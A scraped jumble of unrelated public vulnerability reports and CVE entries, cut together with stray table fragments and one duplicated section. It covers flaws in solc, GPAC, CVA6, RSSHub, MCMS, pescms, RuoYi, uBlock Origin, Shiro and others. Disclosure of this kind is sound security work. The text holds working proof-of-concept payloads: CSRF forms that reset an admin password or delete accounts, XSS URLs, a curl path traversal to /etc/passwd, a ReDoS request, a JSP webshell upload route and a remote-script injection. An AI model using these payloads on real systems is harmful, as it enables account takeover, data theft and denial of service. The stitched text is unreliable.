The attached testcase crashes the solidity compiler solc with an InternalCompilerError: Solidity assertion failed in in solidity::frontend::SMTEncoder::indexOrMemberAssignment
https://github.com/ethereum/solidity/blob/b35cda5998ac7bc28a58f23480f2f82a440d6fa2/libsolidity/formal/SMTEncoder.cpp#L1596
##### **To Reproduce**
Built solc_ossfuzz using clang-10 according to [the oss-fuzz script](https://github.com/google/oss-fuzz/blob/master/projects/solidity/build.sh) with `CXXFLAGS='-O1 -fsanitize=address -fsanitize=array-bounds,bool,builtin,enum,float-divide-by-zero,function,integer-divide-by-zero,null,object-size,return,returns-nonnull-attribute,shift,signed-integer-overflow,unreachable,vla-bound,vptr'`

] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...)
Step to reproduce:
```
1.get latest commit code (GPAC version 1.1.0-DEV-rev1216-gb39aa09c0-master)
2.compile with --enable-sanitizer
3.make 5 dirs which every of them has a large name(length=255), this makes the file's abs-path lengh larger than 1024, we called it large.nhml
4.run MP4Box -add {path to large.nhml} -new new.mp4
```
Env:
Ubunut 20.04 , clang 12.0.1
My cmd line an ASAN report

CVE-2022-31103 | 2022-06-27T23:15:08.170 | lettersanitizer is a DOM-based HTML email sanitizer for in-browser email rendering. All versions of lettersanitizer below 1.0.2 are affected by a denial of service issue when processing a CSS at-rule `@keyframes`. This package is depended on by [react-letter](https://github.com/mat-sz/react-letter), therefore everyone using react-letter is also at risk. The problem has been patched in version 1.0.2. | {

] | Hi,
CVA6 RTL is returning unknown value ("xxxxxxxx") when reading the value of MHPMCOUNTER30. This is happening because the csr reg data (```csr_rdata```) is being read from ``perf_counter_d`` array in the perf_counters.sv module with an array index outside its range. The range of ``perf_counter_d`` is [riscv::CSR_MIF_EMPTY : riscv::CSR_ML1_ICACHE_MISS] (line:46 from perf_counter.sv file), but in line: 282 of csv_regfile.sv we are using the array to access array index riscv::CSR_MHPM_COUNTER_30, which is greater than the range of [riscv::CSR_MIF_EMPTY : riscv::CSR_ML1_ICACHE_MISS].
Please find attached the triggering input mem file, spike_trace_log, and cva6_trace_log. We can see from the line:83 of cva6 trace log that the read data is ``xxxxxxxx``

The RISC-V ISA Volume I, 20190608, page 43 mentions: "MULH[[S]U] rdh, rs1, rs2; MUL
rdl, rs1, rs2 (source register specifiers must be in same order and rdh cannot be the same as rs1 or rs2)"
Our testcase shows cva6 will not throw illegal instruction exception in this case while spike does at line 84.
The testcase mem file, rtl trace log, and spike trace log are attached.

[`diygod/rsshub:2022-06-20`](https://hub.docker.com/layers/rsshub/diygod/rsshub/2022-06-20/images/sha256-5c1e16c0e1ace16895ae536d9d6fa5b09f2c4a2aa6e3e4ca85ddf226c1aa3225?context=explore) is the last vulnerable Docker image._
1. Follow the [official guide](https://github.com/DIYgod/RSSHub/blob/1d6e7d8a1df26ccd8a2156dbd8665097e077c6c6/docs/en/install/README.md) to deploy an RSSHub instance in any method (except Vercel or GAE).
2. `curl 'http://example.com/test/complicated?filter=%28%5B%5E%3C%3E%27%22%5D%2B%29%2A%22%3C&filterout=%28%5B%5E%3C%3E%27%22%5D%2B%29%2A%22%3C'`
3. The instance is now unresponsive to any request (Denial of Service).
4. Monitor the CPU usage of the process `node index.js`. It is now always occupying a whole CPU core. It can last for at least several hours.
## EXP
`example.com` is an RSSHub instance.
`/test/complicated` can be nearly any "route" of RSSHub, here is a randomly chosen "test route".
`filter`, `filter_title`, `filter_description`, `filter_author`, `filterout`, `filterout_title`, `filterout_description`, and `filterout_author` are all so-called parameters of RSSHub, which can be supplied in the URI query. These parameters accept user-supplied regular expressions with unconditional trust, then call `String.match()` to perform regular expression matches. All of these parameters are vulnerable.
`%28%5B%5E%3C%3E%27%22%5D%2B%29%2A%22%3C` is the URL encoded form of the regular expression /`([^<>'"]+)*"<`/. The POC shows a catastrophic-backtracking-vulnerable regular expression specially designed for any HTML. But most catastrophic-backtracking-vulnerable regular expression may be able to construct an effective DoS attack (refer to the "Look back" chapter for more details).
Once catastrophic backtracking occurs, `String.match()` can take more than several hours to finish. <ins>There is no timeout enforced, causing the ReDoS attack to become "zero-cost": attack once, down for hours.</ins> On multi-core servers, the ReDoS attack can probably only affect the RSSHub instance itself; while <ins>on single-core servers, especially VPS[^1], it can be a disaster.</ins>
The component cannot be disabled. <ins>Every RSSHub instance is vulnerable "out-of-box"</ins> unless additional access control is applied. If an external watchdog or timeout is enforced (e.g. Vercel, GAE), the downtime of each effective attack can be limited. However, the instance must be terminated first in order to resume it, so the attack cost is still too low.
[^1]: Most VPS providers take the advantage of a technology called "CPU credits". If a VPS has a high CPU load continuously, it can possibly consume all remaining CPU credits, causing the VPS provider to limit the performance to a fairly low level. Even if the high load ends, it can take at least several hours before there are enough CPU credits to make the performance resume.
## Vulnerable version
Since Git hash 4671720f4c5e1aaaad8fcc1dce684b6546baf2ff, Pull Request #3910 on GitHub, which was merge on Feb 9, 2020 (28.5 months ago).
_Fixed in 5c4177441417b44a6e45c3c63e9eac2504abeb5b._
## Condition to be vulnerable
Unless additional access control is applied.
If an external watchdog or timeout is enforced, the downtime can be limited but the instance is still vulnerable.
## Vulnerability grade
High.
## Possible fix
Either:
1. Drop the regular expression match feature completely and roll back to string match.
2. Enforce additional permission check when accepting user-supplied regular expressions.
3. Migrate to a backtracking-free regular expression engine.
4. (not really[^2] a "fix") Enforce a timeout when performing a regular expression match.
5. (not really[^3] a "fix") Disable the feature by default and require each instance maintainer to manually enable it.
[^2]: The attack cost is still too low.
[^3]: Still vulnerable if manually enabled and matching the "condition to be vulnerable".
## Timeline
Considering the fix of the vulnerability is simple, I prefer a 28+7 days timeline (UTC).
### Jun 21, 2022 (Day 0)
* Vulnerability found.
* Vulnerability reported.
### Jul 5, 2022 (Day 14)
* If the email to i@diygod.me gets no response, I will immediately open an issue in the [GitHub repository](https://github.com/DIYgod/RSSHub), only informing maintainers there is a DoS vulnerability without disclosing any vulnerability detail.
### Jun 22, 2022 - Jul 19, 2022 (Day 1 - Day 28)
* If a fix is committed and pushed to the GitHub repository during this period, I will wait for 120 hours in order that maintainers can disclose a [security advisory](https://github.com/DIYgod/RSSHub/security/advisories) on GitHub. No matter whether the security advisory has been disclosed or not, once the 120-hour deadline is exceeded, I will immediately disclose the full report[^4] by opening an [issue in the GitHub repository](https://github.com/DIYgod/RSSHub/issues).
### Jul 20, 2022 - Jul 26, 2022 (Day 29 - Day 35)
* Once a fix is committed and pushed to the GitHub repository during this period, I will immediately disclose the full report by opening an issue in the GitHub repository.
### Jul 27, 2022 (Day 36)
* If no fix was committed and pushed to the GitHub repository during the previous two periods, I will immediately disclose the full report by opening an issue in the GitHub repository.
### Additional conditions
* Maintainers may ask me to disclose the full report before exceeding the 120-hour deadline.
* Maintainers may consult with me to determine a new timeline, but that consultation must be disclosed along with the full report.
* If being replied "won't fix" or "not a vulnerability", I will immediately disclose the full report along with the reply by opening an issue in the GitHub repository.
* I reserve the right to apply for a CVE-ID.
[^4]: What you are reading.
## Timeline (in reality)
### Jun 21, 2022 15:31 UTC (0h)
* Vulnerability reported.
### Jun 21, 2022 15:56 UTC (0.4h)
* Vulnerability fixed.
* Replace the regular expression engine with a backtracking-free one (`RE2`).
* Git hash: 5c4177441417b44a6e45c3c63e9eac2504abeb5b
### Jun 21, 2022 17:52 UTC (2.4h)
* The fix was confirmed to be effective.
### Jun 22, 2022 10:43 UTC (19.2h)
* The [security advisory](https://github.com/DIYgod/RSSHub/security/advisories/GHSA-jvxx-v45p-v5vf) was published.
### Jun 22, 2022 19:25 UTC (27.9h)
* Two commits "for backward compatibility" opened up the attack surface again by allowing instance maintainers to switch back to the vulnerable regular expression engine.
* Git hash: e4478a366ce179671c4f1bd2f0cff95985da44ea
* Pull request: #10013
* Git hash: dc64debaf77f57b593f7b2a451298f350a084a97
* Pull request: #10014
* Since they were created by a maintainer (@NeverBehave) and approved by the repository owner (@DIYgod), I choose not to consider it as a vulnerability but document it here for warning (refer to the next chapter).
### Jun 26, 2022, 15:56 UTC (120.4h)
* The full report was able to be disclosed.
## Look back
<ins>A ReDoS attack is usually severe but cost-less, "defeating the strong with little effort".</ins> Carelessness and the over-trust in the regular expression engine requiring backtracking are the root causes of a ReDoS vulnerability, while the common immediate causes are:
1. A regular expression engine requiring backtracking, and
2. A catastrophic-backtracking-vulnerable regular expression, and
3. A user-supplied malicious strings.
ReDoS vulnerabilities are not very common since there must be a catastrophic-backtracking-vulnerable regular expression, which is usually written by programmers and out of the control of end-users. <ins>But in this vulnerability of RSSHub, things are different: both the regular expression and the string can be user-supplied.</ins> In the POC, I merely showed how to supply a vulnerable regular expression. So how to understand why the string can also be user-supplied? A fact is that some "routes" (e.g. `/twitter/user/:username`) grab posts from social media, resulting in anyone being able to post malicious strings and request RSSHub to grab them. An experienced attacker may merely construct a vulnerable regular expression specially designed for some strings just like the one I have demonstrated. While an inexperienced attacker can easily use known combinations of vulnerable regular expressions and malicious strings. As a result, <ins>everyone who knows what catastrophic backtracking is can probably construct an effective attack</ins>.
The fix adopts an alternative regular expression engine (`RE2`) which is backtracking-free. It is quite simple, but effective. It shows a nice example with functionality and security balanced.
However, as mentioned, two commits (refer to the previous chapter) have opened up the attack surface again in certain conditions. Those commits re-empower instance maintainers to switch back to the vulnerable regular expression engine, the vanilla built-in-JavaScript one (`RegExp`). To be responsible, I warn instance maintainers again not to switch back to `RegExp` unless:
* [Additional access control](https://github.com/DIYgod/RSSHub/blob/master/docs/en/install/README.md#access-control-configuration) is applied, or
* Your instance does not expose to the Internet, or
* You understand what are you doing exactly and do not care about ReDoS attacks.

] | I've received a few reports today of an image object injection problem in swfupload affecting WordPress. I'm filing this public issue here after contacting swfupload-security@wordpress.org and being asked to do so (as this issue is already public knowledge).
There's an object injection "vulnerability" in swfupload, as shown by this demo URL:
https://wordpress.org/news/wp-includes/js/swfupload/swfupload.swf?buttonImageURL=http://1337day.com/img/logo_green.jpg
Known advisories for this issue:
http://1337day.com/exploit/20669
http://bot24.blogspot.com/2013/04/swfupload-object-injectioncsrf.html
This was tested on WordPress 3.5.2.
As discussed on e-mail, there are three basic options:
- Remove buttonImageURL
- Restrict buttonImageURL to same origin
- Ignore the issue
My recommendation would be to restrict buttonImageURL to the same origin as the blog site, as swfupload is already deprecated, and I'd rather it be secure but slightly broken than have a known issue that could be used for spoofing or other issues.
Thanks!

CVE-2022-2274 | 2022-07-01T08:15:07.687 | The OpenSSL 3.0.4 release introduced a serious bug in the RSA implementation for X86_64 CPUs supporting the AVX512IFMA instructions. This issue makes the RSA implementation with 2048 bit private keys incorrect on such machines and memory corruption will happen during the computation. As a consequence of the memory corruption an attacker may be able to trigger a remote code execution on the machine performing the computation. SSL/TLS servers or other servers using 2048 bit RSA private keys running on machines supporting AVX512IFMA instructions of the X86_64 architecture are affected by this issue. | {

In scanning my node_modules for [Regular Expression Denial of Service (ReDoS) Affecting org.webjars.npm:postcss](https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641) and [CVE-2021-23382](https://nvd.nist.gov/vuln/detail/CVE-2021-23382)
I encountered scss-tokenizer with [previous-map.js](https://github.com/sasstools/scss-tokenizer/blob/master/src/previous-map.js#L34) with the same style regular expression that is cited in the CVE [commit](https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956).
*postcss*
```
return sourceMapString.match(/\/\*\s*# sourceMappingURL=(.*)\*\//)[1].trim()
```
*scss-tokenizer*
```
let match = css.match(/\/\*\s*# sourceMappingURL=(.*)\s*\*\//)
```
It's slightly different, and maybe worth your time to double check.
I hope this helps. | CVE-2021-23382 Might apply? | https://api.github.com/repos/sasstools/scss-tokenizer/issues/45/comments | 2 | 2022-01-12T21:11:06Z | 2022-08-10T01:30:25Z | https://github.com/sasstools/scss-tokenizer/issues/45 | 1,100,793,167 | 45 | 3,814 |

] | **Describe**
There is a way to bypass your regex to validate private & local networks.
If we use http://127.0.0.1/ or http://localhost/ to link preview, we don't see it (`Error: link-preview-js did not receive a valid a url or text`), but if we use a domain that resolved to 127.0.0.1, we can. For example: localtest.me resolved to 127.0.0.1 (localhost), i.e. If you 'curl localtest.me', you'll see your localhost.
Similarly we can read any other private & local address, any port.
**To Reproduce**
Steps to reproduce:
1. Find domain that resolved to private address with reverse ip lookup or use localtest.me (127.0.0.1) or devhead.net (127.0.0.1 + 192.168.1.1 + 192.168.0.1).
2. Write it to getLinkPreview.
3. Done. You see your local domain.

] | 1.代码分析
从铭飞官网https://gitee.com/mingSoft/MCMS把源码考下来之后
经过审计找到上传点，form.ftl这里有个文章缩略图上传点看他有没有做过滤然后根据action找到上传接口
<img width="415" alt="1" src="https://user-images.githubusercontent.com/106334576/170712617-eed47160-7a48-47b7-81e2-04c5e7837b39.png">
经过查找在FileAction.class这里只判断了../防止目录跳跃，继续往下看点击继承的那个类
<img width="416" alt="2" src="https://user-images.githubusercontent.com/106334576/170713789-41f4735e-5954-465e-9c79-d1c0d480c8fc.png">
BaseFileAction.class发现他这做了后缀判断接着看是在哪调用的过滤
<img width="415" alt="3" src="https://user-images.githubusercontent.com/106334576/170714186-91554a14-269d-4135-b5df-1bf5c80e8fef.png">
我们复制denied全局搜索，application.yml发现他是在配置文件里写了过滤，过滤了 exe,jsp,jspx,sh那说明除了这四个其他都可以上传
<img width="416" alt="4" src="https://user-images.githubusercontent.com/106334576/170716667-4949e5b5-c099-4688-a401-7ce55be9732f.png">
<img width="416" alt="5" src="https://user-images.githubusercontent.com/106334576/170717040-717e5010-395b-491d-887e-64d6c1fd510c.png">
接着看看他有没有可利用的接口来实现上传jsp，经过查找TemplateAction.class里有个专门解析zip的接口。那么结合上面的过滤 可以上传zip，可以通过zip包含jsp恶意文件上传上去 然后调用这个接口去解析zip并解析树jsp并访问。
<img width="415" alt="6" src="https://user-images.githubusercontent.com/106334576/170720725-ab638239-13da-447f-94fe-0b9dbd711b4e.png">
2.根据分析的代码操作
找到文章缩略图地址，点击上传zip
<img width="365" alt="7" src="https://user-images.githubusercontent.com/106334576/170720925-762d4302-3c03-4046-a65c-5d4a88d05887.png">
<img width="415" alt="8" src="https://user-images.githubusercontent.com/106334576/170723495-b00f2d51-0a27-4e9c-bd47-5300b8687d12.png">
上传上去之后右键复制图片路径，然后通过上面分析的调用解析zip的接口fileUrl=刚刚上传的zip回车提示执行成功
<img width="415" alt="9" src="https://user-images.githubusercontent.com/106334576/170723834-9584c5fb-1dda-4c05-959e-17d490acc949.png">
<img width="416" alt="10" src="https://user-images.githubusercontent.com/106334576/170724120-7dd8b2f6-601e-45d6-b8e0-3e81ad48aa7d.png">
<img width="416" alt="11" src="https://user-images.githubusercontent.com/106334576/170724354-027c7d16-0a65-43c1-a61e-23f186893c74.png">
之后查看上传目录的地方，发现成功解压了在通过路径访问aaaaa.jsp，然后利用哥斯拉去连接他发现执行成功
<img width="416" alt="12" src="https://user-images.githubusercontent.com/106334576/170724472-b4fb5ddd-8e85-4c89-b8d2-546ab4821201.png">

### modify admin's password ,mail,phone and head-image.
Technical Description:
file :
` pescms/App/Team/PUT/User.php`
The function of this file is to Modify personal information,but it don't Verify whether the operation is legal.
Through it attackers can modify admin's password ,mail,phone and head-image.
Proof of Concept(PoC)
```<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=User&a=setting" method="POST">
<input type="hidden" name="method" value="PUT" />
<input type="hidden" name="name" value="admin" />
<input type="hidden" name="mail" value="123456@qq.com" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="password" value="newadmin" />
<input type="hidden" name="home" value="Team-Index-index" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
Success.And the password of admin has been modify.
## Cross Site Request Forgery(CSRF)-2
### Delete the administrator and other member's account number
Technical Description:
file:
```
pescms/App/Team/DELETE/Content.php
pescms/App/Team/DELETE/Field.php
```
Throught it can delete Any member and administrator just by modify the 'id' that in Url.
Delete the Account number of administrator just need to modify the id as '1'.
Proof of Concept(PoC)
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=User&a=action&id=36&method=DELETE&back_url=L3Blc2Ntcy9QdWJsaWMvP2c9VGVhbSZtPVVzZXImYT1pbmRleA==" method="POST">
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
Visit this page of poc:
We refresh the list of user ,that find that the user that called light is deleted.
## Cross Site Request Forgery(CSRF)-3
### Delete import information
Technical Description:
file:
```
pescms/App/Team/DELETE/Attachment.php
pescms/App/Team/DELETE/Content.php
pescms/App/Team/DELETE/Field.php
pescms/App/Team/DELETE/Model.php
pescms/App/Team/DELETE/Notice.php
```
Through CSRF to Delete important data is exist in these files.
ALL the delete operations are not verify in front page. Like this:
Proof of Concept(PoC)
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=Project&a=action&id=1&method=DELETE&back_url=L3Blc2Ntcy9QdWJsaWMvP2c9VGVhbSZtPVByb2plY3QmYT1pbmRleA==" method="POST">
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
refresh:
And other operations of delete are exist on this cms. Just give the positions,don't prove.
## Reflected XSS in App/Team/GET/Repoort.php
### In the method of extract, the CSRF also exist , but this is to prove the Rdflected XSS,not CSRF.
In line 72-78 , the data from $_GET('begin') and $_GET('end') is transfer to variables, and output in pages.
Proof of Concept(PoC)
```
localhost/pescms/Public/?g=Team&m=Report&a=extract&begin="onmouseover=alert(1)//&end=&user=0
or
localhost/pescms/Public/?g=Team&m=Report&a=extract&begin=&end="onmouseover=alert(1)//&user=0
or,page:

] | ## Cross Site Request Forgery(CSRF)-1
### modify admin's password ,mail,phone and head-image.
Technical Description:
file :
` pescms/App/Team/PUT/User.php`
The function of this file is to Modify personal information,but it don't Verify whether the operation is legal.
Through it attackers can modify admin's password ,mail,phone and head-image.
Proof of Concept(PoC)
```<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=User&a=setting" method="POST">
<input type="hidden" name="method" value="PUT" />
<input type="hidden" name="name" value="admin" />
<input type="hidden" name="mail" value="123456@qq.com" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="password" value="newadmin" />
<input type="hidden" name="home" value="Team-Index-index" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
Success.And the password of admin has been modify.
## Cross Site Request Forgery(CSRF)-2
### Delete the administrator and other member's account number
Technical Description:
file:
```
pescms/App/Team/DELETE/Content.php
pescms/App/Team/DELETE/Field.php
```
Throught it can delete Any member and administrator just by modify the 'id' that in Url.
Delete the Account number of administrator just need to modify the id as '1'.
Proof of Concept(PoC)
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=User&a=action&id=36&method=DELETE&back_url=L3Blc2Ntcy9QdWJsaWMvP2c9VGVhbSZtPVVzZXImYT1pbmRleA==" method="POST">
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
Visit this page of poc:
We refresh the list of user ,that find that the user that called light is deleted.
## Cross Site Request Forgery(CSRF)-3
### Delete import information
Technical Description:
file:
```
pescms/App/Team/DELETE/Attachment.php
pescms/App/Team/DELETE/Content.php
pescms/App/Team/DELETE/Field.php
pescms/App/Team/DELETE/Model.php
pescms/App/Team/DELETE/Notice.php
```
Through CSRF to Delete important data is exist in these files.
ALL the delete operations are not verify in front page. Like this:
Proof of Concept(PoC)
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=Project&a=action&id=1&method=DELETE&back_url=L3Blc2Ntcy9QdWJsaWMvP2c9VGVhbSZtPVByb2plY3QmYT1pbmRleA==" method="POST">
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
refresh:
And other operations of delete are exist on this cms. Just give the positions,don't prove.
## Reflected XSS in App/Team/GET/Repoort.php
### In the method of extract, the CSRF also exist , but this is to prove the Rdflected XSS,not CSRF.
In line 72-78 , the data from $_GET('begin') and $_GET('end') is transfer to variables, and output in pages.
Proof of Concept(PoC)
```
localhost/pescms/Public/?g=Team&m=Report&a=extract&begin="onmouseover=alert(1)//&end=&user=0
or
localhost/pescms/Public/?g=Team&m=Report&a=extract&begin=&end="onmouseover=alert(1)//&user=0
or,page:
http://localhost/pescms/Public/?g=Team&m=Report&a=allExtract&begin="onmouseover=alert(1)//&end=&user=0
```
## In this page ,Reflected XSS can be combined with CSRF,this will cause bigger destruction

There are actually two separate XSS vulnerabilities:
1) Text from comments and game info are unsafely added into the DOM directly via innerHTML.
2) Any file loaded from URL that begins with a left-curly bracket "{" is assumed to be JSON and unsafely parsed with eval.
Here are examples exploiting each vulnerability:

Background:
- https://bugs.eclipse.org/bugs/show_bug.cgi?id=577029
- https://nvd.nist.gov/vuln/detail/CVE-2021-41037
The CVE has this description:
> In Eclipse p2, installable units are able to alter the Eclipse Platform installation and the local machine via touchpoints during installation. Those touchpoints can, for example, alter the command-line used to start the application, injecting things like agent or other settings that usually require particular attention in term of security. Although p2 has built-in strategies to ensure artifacts are signed and then to help establish trust, there is no such strategy for the metadata part that does configure such touchpoints. As a result, it's possible to install a unit that will run malicious code during installation without user receiving any warning about this installation step being risky when coming from untrusted source.
The bugzilla has description:
> p2 metadata, even without artifacts, can affect the application in unsafe way: touchpoints can run some local commands, change the command line that will be used to start the IDE (ie changing the JVM, adding some agents...). It seems relatively easy to inject malicious changes in p2 metadata.
> Unlike artifacts, installing a unit that consists only of metadata doesn't show any warning to users. So they may install malicious code without any warning. There is no concept of "trusting" metadata like it exists for artifacts.
>
> On the long run, the solution would be to sign metadata as well, like other package managers -eg rpm- do.
One thing seems clear up front. The oceans will need to significantly heat up before all p2 metadata will be properly and consistently signed and before the frameworks will properly check that. Often there can be a content.xml, content.jar, and/or content.xml.xz, all of which will need to be signed, though they typically contain (and should contain) the same semantic content. As such, all the ways of building these would need to produce such signatures and all such signatures would need to follow the artifact (metadata files) that they sign, e.g., the various of mirror applications and scripts would need to be aware of these new things, often needing to resign the resulting content. And finally, the consuming applications would all need to have installed a framework that checks these signatures. The whole ecosystem would need to support producing such things, not just Eclipse projects, i.e., those project with enough resource to deal with the associated workload. It seems to me like a giant hurdle, and then the actual concrete benefit versus the cost is questionable at best.
We are circling around a topic for which there is a confusing and misleading mixture between related, yet different concepts, i.e., certification of origin, security, and trust. We can very easily install something from a known/certified source, via a secure connection that is nevertheless completely untrustworthy. As Christoph has pointed out, it's very easy to buy a signing certificate, get a free PGP signing key, and to provide content on an https accessible host, i.e., it's very, very easy to provide horribly malicious code. That would continue to be the case even if p2 metadata were signed. While it's suggested that signed artifacts are provided for trust, that's only indirectly/transitively the case; they are provided as a certification of origin, and one can choose to trust that origin. They have the added benefit that the certification follows the actual artifact.
Here's a simple example of IUs that get installed that have touchpoints but no artifacts, and hence will not result in a trust prompt for certificates or PGP keys:

We should note that even if the p2 metadata were signed, once these instructions are applied, their origin can no longer tracked afterwards, unlike for actual installed artifacts (jars).
I propose we take a step back and focus on what we can do to make this statement no longer true:
> It's possible to install a unit that will run malicious code during installation without user receiving any warning about this installation step being risky when coming from untrusted source.
In particular I'd like to propose that when we install/update that we present the user with the list of the corresponding sites of the IUs they are adding as part of that install/update operation. With the changes from https://github.com/eclipse-equinox/p2/issues/230 we already ensure that the sites are accessed securely typically via https. We can present a message as follows:
> Installing content from arbitrary remote sites is risky. Do you with to trust content from the follows hosts.
We could even collect the certificate information from those hosts to present to the user (as we do for jar-signed content). With that additional information, the user can effectively determine the origin of the content. We can of course make it possible to remember the trusted hosts as we do for trusted PGP keys so the user is not repeated prompted for the same origins.
I feel that this approach provides the level of confirmation that the user needs to make informed decisions about what they are installing and where it's coming from. That approach makes the following statement accurate:
> Before the user installs any content, they will be warned about the risk of installing content from untrusted sources and they will be provided a list of the actual sources being used for their consideration and approval.
This approach can be implemented with minimal cost to the community while effectively giving the user both notification and control as spelled out in the CVE. | CVE-2021-41037: p2 metadata (even without artifacts) can be an attack vector | https://api.github.com/repos/eclipse-equinox/p2/issues/235/comments | 19 | 2023-03-25T10:15:53Z | 2024-07-12T13:49:47Z | https://github.com/eclipse-equinox/p2/issues/235 | 1,640,462,047 | 235 | 3,828 |

] | # Absolute Path Traversal due to incorrect use of `send_file` call
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.
## Common Weakness Enumeration category
CWE - 36
## Root Cause Analysis
The `os.path.join` call is unsafe for use with untrusted input. When the `os.path.join` call encounters an absolute path, it ignores all the parameters it has encountered till that point and starts working with the new absolute path. Please see the example below.
```
>>> import os.path
>>> static = "path/to/mySafeStaticDir"
>>> malicious = "/../../../../../etc/passwd"
>>> os.path.join(t,malicious)
'/../../../../../etc/passwd'
```
Since the "malicious" parameter represents an absolute path, the result of `os.path.join` ignores the static directory completely. Hence, untrusted input is passed via the `os.path.join` call to `flask.send_file` can lead to path traversal attacks.
In this case, the problems occurs due to the following code :
https://github.com/scorelab/OpenMF/blob/28f86732a3d033ac674a8cd52b359628024e56c2/flask-backend/api/routes/case.py#L209
Here, the `file_pathname` parameter is attacker controlled. This parameter passes through the unsafe `os.path.join` call making the effective directory and filename passed to the `send_file` call attacker controlled. This leads to a path traversal attack.
## Proof of Concept
The bug can be verified using a proof of concept similar to the one shown below.
```
curl -X POST 'http://<domain>/get-file' -H "Content-Type: application/x-www-form-urlencoded" -d "file_pathname=../../../../../../../etc/passwd"
```
## Remediation
This can be fixed by preventing flow of untrusted data to the vulnerable `send_file` function. In case the application logic necessiates this behaviour, one can either use the `werkzeug.utils.safe_join` to join untrusted paths or replace `flask.send_file` calls with `flask.send_from_directory` calls.
## Common Vulnerability Scoring System Vector
The attack can be carried over the network. A complex non-standard configuration or a specialized condition is not required for the attack to be successfully conducted. There is no user interaction required for successful execution. The attack can affect components outside the scope of the target module. The attack can be used to gain access to confidential files like passwords, login credentials and other secrets. It cannot be directly used to affect a change on a system resource. Hence has limited to no impact on integrity. Using this attack vector a attacker may make multiple requests for accessing huge files such as a database. This can lead to a partial system denial service. However, the impact on availability is quite low in this case. Taking this account an appropriate CVSS v3.1 vector would be
(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L)[https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L&version=3.1]
This gives it a base score of 9.3/10 and a severity rating of critical.

Vulnerability title: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms
Product: https://github.com/yangzongzhuan/RuoYi
Affected Versions: v4.7.3(the lastest vesion)
Discovery time: 2022.5.16
Found by: solarpeng502
Exploit sence: The System allows multiple users to log in. If a user is granted user management rights, he can insert a malicious xss payload on user management page, so that all users with this permission can access and trigger an xss attack
Analysis report:
1. If you are not Chinese,please change the language into the English through Browser translation plugin such as Google.
2. After deployment, enter the background management page
3. Click the avatar into the personal center
4. Click the "modify avatar",and upload a normal image,the click OK button
5. Intercept the request package with a packet capture tool such as burp, change the file suffix to html, and change the content with xss payload such as "<script>alert(1)</script>,then pass the request,and the response shows "{"msg":"操作成功","code":0}",which means upload success
6. Refresh the index page,start burp,and then click the avatar again,the burp will intercept the xss html that we upload
7. Copy the html url,and then send to the other users using Ruoyi cms,if they click,the xss attack is triggered

Email received at `ubo-security at raymondhill.net` on 2022-02-17:
> Hi,
>
> I'd like to report a security vulnerability in the uBlock Origin extension.
>
> A compromised renderer process of Chrome is able to spoof the URL of a messaging port and send privileged messages.
>
> A compromised renderer process can spoof the 'MessageSender.url' in a chrome.runtime.onConnect listener[1][2]. 'vAPI.messaging.onPortConnect' uses 'sender.url' to determine whether the port is privileged (https://github.com/gorhill/uBlock/blob/3154ed1bac227e4bc683c919d8d10bd01c9f8bb6/platform/common/vapi-background.js#L857-L861). As a result, a compromised renderer can spoof the URL to an extension URL and perform sensitive actions.
>
> For instance, it can set 'userResourcesLocation' and add a custom filter to perform XSS.

> * Affected browser versions
> All Chrome including 98 (stable) to 101

> * PoC
> 1. To simulate a compromised renderer, the following patch can be applied to Chromium:

> 3. Visit `https://example.com` and open DevTools.
> 4. To simulate a compromised renderer, change the JavaScript context to uBlock Origin and run `'await vAPI.messaging.send("dashboard", {what: "writeHiddenSettings", content: "userResourcesLocation https://gist.githubusercontent.com/ylemkimon/c722fc2dc8510734a169d272aa116a6a/raw/1b04a075104aa27dbcaae13bd7e0ba0ef0f633ab/xss.js"}); await vAPI.messaging.send("dashboard", {what: "createUserFilter", filters: "google.com##+js(xss.js)"});'`.
> 5. Visit `https://google.com` and observe that an alert with the 'document.domain' is shown.
>
> * Proposed fix
> Use 'MessageSender.origin' (https://developer.chrome.com/docs/extensions/reference/runtime/#property-MessageSender-origin) if available (Chrome 80+), which is not spoofable[1].

Blast the field and find that the encoded key is 2AvVhdsgUs0FSA3SDFAdag==, which is the same as the one set in the source code
After an audit, I found that the source code contains commons-beanutils-1.9.4.jar dependency, which is actually a dependency included in shiro.
Using this dependency, it is possible to generate a deserialized payload and then encrypt the payload using the key obtained by blasting.
Finally, write this payload after the rememberMe field and attack it. Successful RCE

## Anaylize
